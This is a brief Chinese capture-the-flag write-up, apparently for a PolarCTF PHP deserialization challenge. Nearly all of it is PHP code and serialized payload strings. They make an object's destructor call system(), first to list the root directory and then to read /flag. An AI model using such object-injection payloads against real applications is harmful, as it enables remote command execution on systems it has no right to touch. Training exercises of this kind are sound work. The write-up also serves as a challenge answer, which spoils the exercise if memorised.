1、

2、反序列化

<?php

class Polar{
    public $url = 'polarctf.com';
    public $lt='system';
    public $b='ls /';

    function  __destruct()
    {
        $a = $this->lt;

        $a($this->b);
    }
}


$a = new Polar();
echo serialize($a);
?>

###O:5:"Polar":3:{s:3:"url";s:12:"polarctf.com";s:2:"lt";s:6:"system";s:1:"b";s:4:"ls /";}

<?php

class Polar{
    public $url = 'polarctf.com';
    public $lt='system';
    public $b='cat /flag';

    function  __destruct()
    {
        $a = $this->lt;

        $a($this->b);
    }
}


$a = new Polar();
echo serialize($a);
?>

##O:5:"Polar":3:{s:3:"url";s:12:"polarctf.com";s:2:"lt";s:6:"system";s:1:"b";s:9:"cat /flag";}

得到答案